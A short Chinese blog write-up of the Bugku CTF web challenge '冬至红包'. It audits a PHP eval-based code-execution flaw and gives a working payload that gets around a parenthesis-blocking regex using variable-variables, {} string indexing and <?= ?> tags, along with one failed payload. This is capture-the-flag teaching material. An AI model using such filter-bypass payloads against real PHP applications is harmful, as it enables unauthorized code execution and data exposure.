本文主要是介绍bugku web 冬至红包,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!
题目:bugku 冬至红包
知识点:命令执行、{}的用法、<?= ?>
工具:
解题:
点开链接:
代码审计:
$exam=
return'20bd0ee711140119120c8e5e7d08f39ded52c7e3';
设置?flag
len(flag)==len($exam)
不匹配正则
到达此处有一个命令执行漏洞
有一个问题是eval(),如果我们使用return获取命令执行的返回值,使其与sha1($flag)相等,必然要使用到函数,但是匹配正则处()已经被过滤了,这显然不现实,所以用另一种方法,就是直接在命令执行中回显变量。
直接上payload:
$a=blag;$a{0}=f;111111111111111111111;?><?=$$a;?>
这里又学到了{}的新用法,跟在变量后面,{}和[]的作用相同,而且我才发现字符串和数组都可以用{}和[]。使用[]可以测试字符串的长度,isset($s[10]).
而且定义字符串时,不需要用引号也可以。
还有一个错误的payload:
<?php $a='fl';$b="{$a}ag";?>1111111111111<?=$$b?>
这篇关于bugku web 冬至红包的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!